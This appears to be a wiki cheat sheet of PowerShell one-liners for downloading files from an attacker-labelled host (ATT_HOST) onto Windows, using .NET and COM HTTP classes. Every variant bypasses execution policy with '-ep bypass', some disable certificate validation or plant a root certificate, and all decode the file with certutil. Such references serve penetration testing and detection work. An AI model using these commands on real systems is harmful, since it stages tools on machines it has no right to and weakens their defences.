[System.Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12; $webRequest=[Net.WebRequest]::Create("https://$ATT_HOST`:$ATT_PORT/"); try {$webRequest.GetResponse()} catch {}; $cert=$webRequest.ServicePoint.Certificate; $ATT_HOSTNAME=($cert.Issuer.Split(',')[0]).Substring(3); $certBytes=$cert.Export([Security.Cryptography.X509Certificates.X509ContentType]::Cert); $oPem=(New-Object System.Text.StringBuilder); $oPem.AppendLine("-----BEGIN CERTIFICATE-----") > $null; $oPem.AppendLine([System.Convert]::ToBase64String($certBytes,1)) > $null; $oPem.AppendLine("-----END CERTIFICATE-----") > $null; $oPem.ToString() | Out-File $pwd\cert.pem; Import-Certificate -FilePath "$pwd\cert.pem" -CertStoreLocation "Cert:\LocalMachine\Root" > $null; Remove-Item -Force $pwd\cert.pem;

5. [CLIENT] download file

$tmp="${RFILE}.b64"; $res=(New-Object -TypeName System.Net.WebClient).DownloadString("https://${ATT_HOST}:$ATT_PORT$ATT_PATH$tmp");

NOTE: the X.509 certificate's Common Name field must contain, either:

  • DNS resolvable hostname
  • IP address of web server

6. [CLIENT] wait for file to finish downloading

7. [CLIENT] base64-decode file

$noBOM=(New-Object -TypeName System.Text.UTF8Encoding $False); [System.IO.File]::WriteAllLines($tmp,$res,$noBOM); certutil.exe -decode $tmp $RFILE > $nul; Remove-Item -Force $pwd\$tmp; (Get-FileHash $RFILE -Algorithm MD5).Hash;

8. [CLIENT] remove self-signed X.509 certificate from local certificate store

Get-ChildItem -Path "Cert:\LocalMachine\Root" | Where-Object {$_.Subject -match $ATT_HOSTNAME} | Remove-Item -Force;

System.Net.WebRequest (HTTP; HTTPS)

https://learn.microsoft.com/en-us/dotnet/api/system.net.webrequest

TESTED ON: Windows 10 (22H2); Windows Server 2022 (21H2)

NOTES:

  • .NET class
  • using base64 encoding to avoid various complications with file transfer (not further analyzed)
    • target web server must host base64-encoded version of target file (with .b64 appended to filename)
  • using certutil.exe over PowerShell for base64 decoding to avoid performance issues with decoding (larger files)
    • for a pure PowerShell solution replace the certutil.exe command with [System.Convert]::FromBase64String((Get-Content $tmp)) | Set-Content -Encoding Byte $RFILE;
  • HTTPS working with self-signed X.509 certificate
    • install certificate in certificate store, under Current User ➔ Trusted Root Certification Authorities
    • its Common Name field must contain, either:
      • DNS resolvable hostname
      • IP address of web server

(HTTP/HTTPS)

1. [SERVER] base64-encode target file

export LFILE="testfile_200MB";
cat $LFILE | base64 -w0 > ${LFILE}.b64;

2. [CLIENT] open PowerShell session

(open command prompt)

powershell.exe -ep bypass -nop

3. [CLIENT] specify file transfer parameters

$ATT_HOST="192.168.5.11";
$ATT_PORT="80";
$ATT_PATH="/";
$RFILE="testfile_200MB";

NOTE: specify target file (i.e. not base64-encoded target file)

4. [CLIENT] download file

$tmp="${RFILE}.b64"; $res=([System.IO.StreamReader]::new([System.Net.WebRequest]::Create("http://${ATT_HOST}:$ATT_PORT$ATT_PATH$tmp").GetResponse().GetResponseStream()).ReadToEnd());

NOTE: if using HTTPS, replace http with https

5. [CLIENT] wait for file to finish downloading

6. [CLIENT] base64-decode file

$noBOM=(New-Object -TypeName System.Text.UTF8Encoding $False); [System.IO.File]::WriteAllLines($tmp,$res,$noBOM); certutil.exe -decode $tmp $RFILE > $nul; Remove-Item -Force $pwd\$tmp; (Get-FileHash $RFILE -Algorithm MD5).Hash;

(HTTPS with self-signed X.509 certificate) - no check certificate

1. [CLIENT] open PowerShell session

(open command prompt)

powershell.exe -ep bypass -nop

2. [CLIENT] specify file transfer parameters

$ATT_HOST="192.168.5.11";
$ATT_PORT="443";
$ATT_PATH="/";
$RFILE="testfile_200MB";

3. [CLIENT] disable X.509 certificate validation

[System.Net.ServicePointManager]::ServerCertificateValidationCallback={$true}; [System.Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12;

4. [CLIENT] download file

$tmp="${RFILE}.b64"; $res=([System.IO.StreamReader]::new([System.Net.WebRequest]::Create("https://${ATT_HOST}:$ATT_PORT$ATT_PATH$tmp").GetResponse().GetResponseStream()).ReadToEnd());

5. [CLIENT] wait for file to finish downloading

6. [CLIENT] base64-decode file

$noBOM=(New-Object -TypeName System.Text.UTF8Encoding $False); [System.IO.File]::WriteAllLines($tmp,$res,$noBOM); certutil.exe -decode $tmp $RFILE > $nul; Remove-Item -Force $pwd\$tmp; (Get-FileHash $RFILE -Algorithm MD5).Hash;

(HTTPS with self-signed X.509 certificate) - check certificate

1. [SERVER] base64-encode target file

export LFILE="testfile_200MB";
cat $LFILE | base64 -w0 > ${LFILE}.b64;

2. [CLIENT] open PowerShell session

(open command prompt with local administrative privileges)

powershell.exe -ep bypass -nop

3. [CLIENT] specify file transfer parameters

$ATT_HOST="192.168.5.11";
$ATT_PORT="443";
$ATT_PATH="/";
$RFILE="testfile_200MB";

NOTE: specify target file (i.e. not base64-encoded target file)

4. [CLIENT] download self-signed X.509 certificate and add it to local certificate store

[System.Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12; $webRequest=[Net.WebRequest]::Create("https://$ATT_HOST`:$ATT_PORT/"); try {$webRequest.GetResponse()} catch {}; $cert=$webRequest.ServicePoint.Certificate; $ATT_HOSTNAME=($cert.Issuer.Split(',')[0]).Substring(3); $certBytes=$cert.Export([Security.Cryptography.X509Certificates.X509ContentType]::Cert); $oPem=(New-Object System.Text.StringBuilder); $oPem.AppendLine("-----BEGIN CERTIFICATE-----") > $null; $oPem.AppendLine([System.Convert]::ToBase64String($certBytes,1)) > $null; $oPem.AppendLine("-----END CERTIFICATE-----") > $null; $oPem.ToString() | Out-File $pwd\cert.pem; Import-Certificate -FilePath "$pwd\cert.pem" -CertStoreLocation "Cert:\LocalMachine\Root" > $null; Remove-Item -Force $pwd\cert.pem;

5. [CLIENT] download file

$tmp="${RFILE}.b64"; $res=([System.IO.StreamReader]::new([System.Net.WebRequest]::Create("https://${ATT_HOST}:$ATT_PORT$ATT_PATH$tmp").GetResponse().GetResponseStream()).ReadToEnd());

NOTE: the X.509 certificate's Common Name field must contain, either:

  • DNS resolvable hostname
  • IP address of web server

6. [CLIENT] wait for file to finish downloading

7. [CLIENT] base64-decode file

$noBOM=(New-Object -TypeName System.Text.UTF8Encoding $False); [System.IO.File]::WriteAllLines($tmp,$res,$noBOM); certutil.exe -decode $tmp $RFILE > $nul;Remove-Item -Force $pwd\$tmp; (Get-FileHash $RFILE -Algorithm MD5).Hash;

8. [CLIENT] remove self-signed X.509 certificate from local certificate store

Get-ChildItem -Path "Cert:\LocalMachine\Root" | Where-Object {$_.Subject -match $ATT_HOSTNAME} | Remove-Item -Force;

System.Xml.XmlDocument (HTTP; HTTPS)

https://learn.microsoft.com/en-us/dotnet/api/system.xml.xmldocument

TESTED ON: Windows 10 (22H2); Windows Server 2022 (21H2)

NOTES:

  • .NET class
  • using base64 encoding to avoid various complications with file transfer (not further analyzed)
    • target web server must host base64-encoded version of target file (with .b64 appended to filename)
  • using certutil.exe over PowerShell for base64 decoding to avoid performance issues with decoding (larger files)
    • for a pure PowerShell solution replace the certutil.exe command with [System.Convert]::FromBase64String((Get-Content $tmp)) | Set-Content -Encoding Byte $RFILE;
  • HTTPS working with self-signed X.509 certificate
    • install certificate in certificate store, under Current User ➔ Trusted Root Certification Authorities
    • its Common Name field must contain, either:
      • DNS resolvable hostname
      • IP address of web server

(HTTP/HTTPS)

1. [SERVER] base64-encode target file and save to XML file

export LFILE="testfile_200MB";
echo -e "<?xml version=\"1.0\"?>\n<b64>$(cat $LFILE | base64 -w0)</b64>" > dl.xml;

2. [CLIENT] open PowerShell session

(open command prompt)

powershell.exe -ep bypass -nop

3. [CLIENT] specify file transfer parameters

$ATT_HOST="192.168.5.11";
$ATT_PORT="80";
$ATT_PATH="/";
$RFILE="testfile_200MB";

4. [CLIENT] download file

$tmp="${RFILE}.b64"; $res=(New-Object -TypeName System.Xml.XmlDocument); $res.Load("http://${ATT_HOST}:$ATT_PORT${ATT_PATH}dl.xml");

NOTE: if using HTTPS, replace http with https

5. [CLIENT] wait for file to finish downloading

6. [CLIENT] base64-decode file

$noBOM=(New-Object -TypeName System.Text.UTF8Encoding $False); [System.IO.File]::WriteAllLines($tmp,$res.b64,$noBOM); certutil.exe -decode $tmp $RFILE > $nul; Remove-Item -Force $pwd\$tmp; (Get-FileHash $RFILE -Algorithm MD5).Hash;

(HTTPS with self-signed X.509 certificate) - no check certificate

1. [SERVER] base64-encode target file and save to XML file

export LFILE="testfile_200MB";
echo -e "<?xml version=\"1.0\"?>\n<b64>$(cat $LFILE | base64 -w0)</b64>" > dl.xml;

2. [CLIENT] open PowerShell session

(open command prompt)

powershell.exe -ep bypass -nop

3. [CLIENT] specify file transfer parameters

$ATT_HOST="192.168.5.11";
$ATT_PORT="443";
$ATT_PATH="/";
$RFILE="testfile_200MB";

4. [CLIENT] disable X.509 certificate validation

[System.Net.ServicePointManager]::ServerCertificateValidationCallback={$true}; [System.Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12;

5. [CLIENT] download file

$tmp="${RFILE}.b64"; $res=(New-Object -TypeName System.Xml.XmlDocument); $res.Load("https://${ATT_HOST}:$ATT_PORT${ATT_PATH}dl.xml");

6. [CLIENT] wait for file to finish downloading

7. [CLIENT] base64-decode file

$noBOM=(New-Object -TypeName System.Text.UTF8Encoding $False); [System.IO.File]::WriteAllLines($tmp,$res.b64,$noBOM); certutil.exe -decode $tmp $RFILE > $nul; Remove-Item -Force $pwd\$tmp; (Get-FileHash $RFILE -Algorithm MD5).Hash;

(HTTPS with self-signed X.509 certificate) - check certificate

1. [SERVER] base64-encode target file and save to XML file

export LFILE="testfile_200MB";
echo -e "<?xml version=\"1.0\"?>\n<b64>$(cat $LFILE | base64 -w0)</b64>" > dl.xml;

2. [CLIENT] open PowerShell session

(open command prompt with local administrative privileges)

powershell.exe -ep bypass -nop

3. [CLIENT] specify file transfer parameters

$ATT_HOST="192.168.5.11";
$ATT_PORT="443";
$ATT_PATH="/";
$RFILE="testfile_200MB";

4. [CLIENT] download self-signed X.509 certificate and add it to local certificate store

[System.Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12; $webRequest=[Net.WebRequest]::Create("https://$ATT_HOST`:$ATT_PORT/"); try {$webRequest.GetResponse()} catch {}; $cert=$webRequest.ServicePoint.Certificate; $ATT_HOSTNAME=($cert.Issuer.Split(',')[0]).Substring(3); $certBytes=$cert.Export([Security.Cryptography.X509Certificates.X509ContentType]::Cert); $oPem=(New-Object System.Text.StringBuilder); $oPem.AppendLine("-----BEGIN CERTIFICATE-----") > $null; $oPem.AppendLine([System.Convert]::ToBase64String($certBytes,1)) > $null; $oPem.AppendLine("-----END CERTIFICATE-----") > $null; $oPem.ToString() | Out-File $pwd\cert.pem; Import-Certificate -FilePath "$pwd\cert.pem" -CertStoreLocation "Cert:\LocalMachine\Root" > $null; Remove-Item -Force $pwd\cert.pem;

5. [CLIENT] download file

$tmp="${RFILE}.b64"; $res=(New-Object -TypeName System.Xml.XmlDocument); $res.Load("https://${ATT_HOST}:$ATT_PORT${ATT_PATH}dl.xml");

NOTE: the X.509 certificate's Common Name field must contain, either:

  • DNS resolvable hostname
  • IP address of web server

6. [CLIENT] wait for file to finish downloading

7. [CLIENT] base64-decode file

$noBOM=(New-Object -TypeName System.Text.UTF8Encoding $False); [System.IO.File]::WriteAllLines($tmp,$res.b64,$noBOM); certutil.exe -decode $tmp $RFILE > $nul; Remove-Item -Force $pwd\$tmp; (Get-FileHash $RFILE -Algorithm MD5).Hash;

8. [CLIENT] remove self-signed X.509 certificate from local certificate store

Get-ChildItem -Path "Cert:\LocalMachine\Root" | Where-Object {$_.Subject -match $ATT_HOSTNAME} | Remove-Item -Force;

WinHttp.WinHttpRequest.5.1 (HTTP; HTTPS)

https://learn.microsoft.com/en-us/windows/win32/winhttp/winhttprequest

https://learn.microsoft.com/en-us/windows/win32/winhttp/about-winhttp

TESTED ON: Windows 10 (22H2); Windows Server 2022 (21H2)

NOTES:

  • COM object
    • utilises WinHTTP
  • using base64 encoding to avoid various complications with file transfer (not further analyzed)
    • target web server must host base64-encoded version of target file (with .b64 appended to filename)
  • using certutil.exe over PowerShell for base64 decoding to avoid performance issues with decoding (larger files)
    • for a pure PowerShell solution replace the certutil.exe command with [System.Convert]::FromBase64String((Get-Content $tmp)) | Set-Content -Encoding Byte $RFILE;
  • HTTPS working with self-signed X.509 certificate
    • install certificate in certificate store, under Current User ➔ Trusted Root Certification Authorities
    • its Common Name field must contain, either:
      • DNS resolvable hostname
      • IP address of web server

(HTTP/HTTPS)

1. [SERVER] base64-encode target file

export LFILE="testfile_200MB";
cat $LFILE | base64 -w0 > ${LFILE}.b64;

2. [CLIENT] open PowerShell session

(open command prompt)

powershell.exe -ep bypass -nop

3. [CLIENT] specify file transfer parameters

$ATT_HOST="192.168.5.11";
$ATT_PORT="80";
$ATT_PATH="/";
$RFILE="testfile_200MB";

NOTE: specify target file (i.e. not base64-encoded target file)

4. [CLIENT] download file

$tmp="${RFILE}.b64"; $dl=(New-Object -ComObject WinHttp.WinHttpRequest.5.1); $dl.open("GET","http://${ATT_HOST}:$ATT_PORT$ATT_PATH$tmp",$false); $dl.send();

NOTE: if using HTTPS, replace http with https

5. [CLIENT] wait for file to finish downloading

6. [CLIENT] base64-decode file

$noBOM=(New-Object -TypeName System.Text.UTF8Encoding $False); [System.IO.File]::WriteAllLines($tmp,$dl.responseText,$noBOM); certutil.exe -decode $tmp $RFILE > $nul; Remove-Item -Force $pwd\$tmp; (Get-FileHash $RFILE -Algorithm MD5).Hash;

(HTTPS with self-signed X.509 certificate) - check certificate

1. [SERVER] base64-encode target file

export LFILE="testfile_200MB";
cat $LFILE | base64 -w0 > ${LFILE}.b64;

2. [CLIENT] open PowerShell session

(open command prompt with local administrative privileges)

powershell.exe -ep bypass -nop

3. [CLIENT] specify file transfer parameters

$ATT_HOST="192.168.5.11";
$ATT_PORT="443";
$ATT_PATH="/";
$RFILE="testfile_200MB";

NOTE: specify target file (i.e. not base64-encoded target file)

4. [CLIENT] download self-signed X.509 certificate and add it to local certificate store

[System.Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12; $webRequest=[Net.WebRequest]::Create("https://$ATT_HOST`:$ATT_PORT/"); try {$webRequest.GetResponse()} catch {}; $cert=$webRequest.ServicePoint.Certificate; $ATT_HOSTNAME=($cert.Issuer.Split(',')[0]).Substring(3); $certBytes=$cert.Export([Security.Cryptography.X509Certificates.X509ContentType]::Cert); $oPem=(New-Object System.Text.StringBuilder); $oPem.AppendLine("-----BEGIN CERTIFICATE-----") > $null; $oPem.AppendLine([System.Convert]::ToBase64String($certBytes,1)) > $null; $oPem.AppendLine("-----END CERTIFICATE-----") > $null; $oPem.ToString() | Out-File $pwd\cert.pem; Import-Certificate -FilePath "$pwd\cert.pem" -CertStoreLocation "Cert:\LocalMachine\Root" > $null; Remove-Item -Force $pwd\cert.pem;

5. [CLIENT] download file

$tmp="${RFILE}.b64"; $dl=(New-Object -ComObject WinHttp.WinHttpRequest.5.1); $dl.open("GET","https://${ATT_HOST}:$ATT_PORT$ATT_PATH$tmp",$false); $dl.send();

NOTE: the X.509 certificate's Common Name field must contain, either:

  • DNS resolvable hostname
  • IP address of web server

6. [CLIENT] wait for file to finish downloading

7. [CLIENT] base64-decode file

$noBOM=(New-Object -TypeName System.Text.UTF8Encoding $False); [System.IO.File]::WriteAllLines($tmp,$dl.responseText,$noBOM); certutil.exe -decode $tmp $RFILE > $nul; Remove-Item -Force $pwd\$tmp; (Get-FileHash $RFILE -Algorithm MD5).Hash;

8. [CLIENT] remove self-signed X.509 certificate from local certificate store

Get-ChildItem -Path "Cert:\LocalMachine\Root" | Where-Object {$_.Subject -match $ATT_HOSTNAME} | Remove-Item -Force
Clone this wiki locally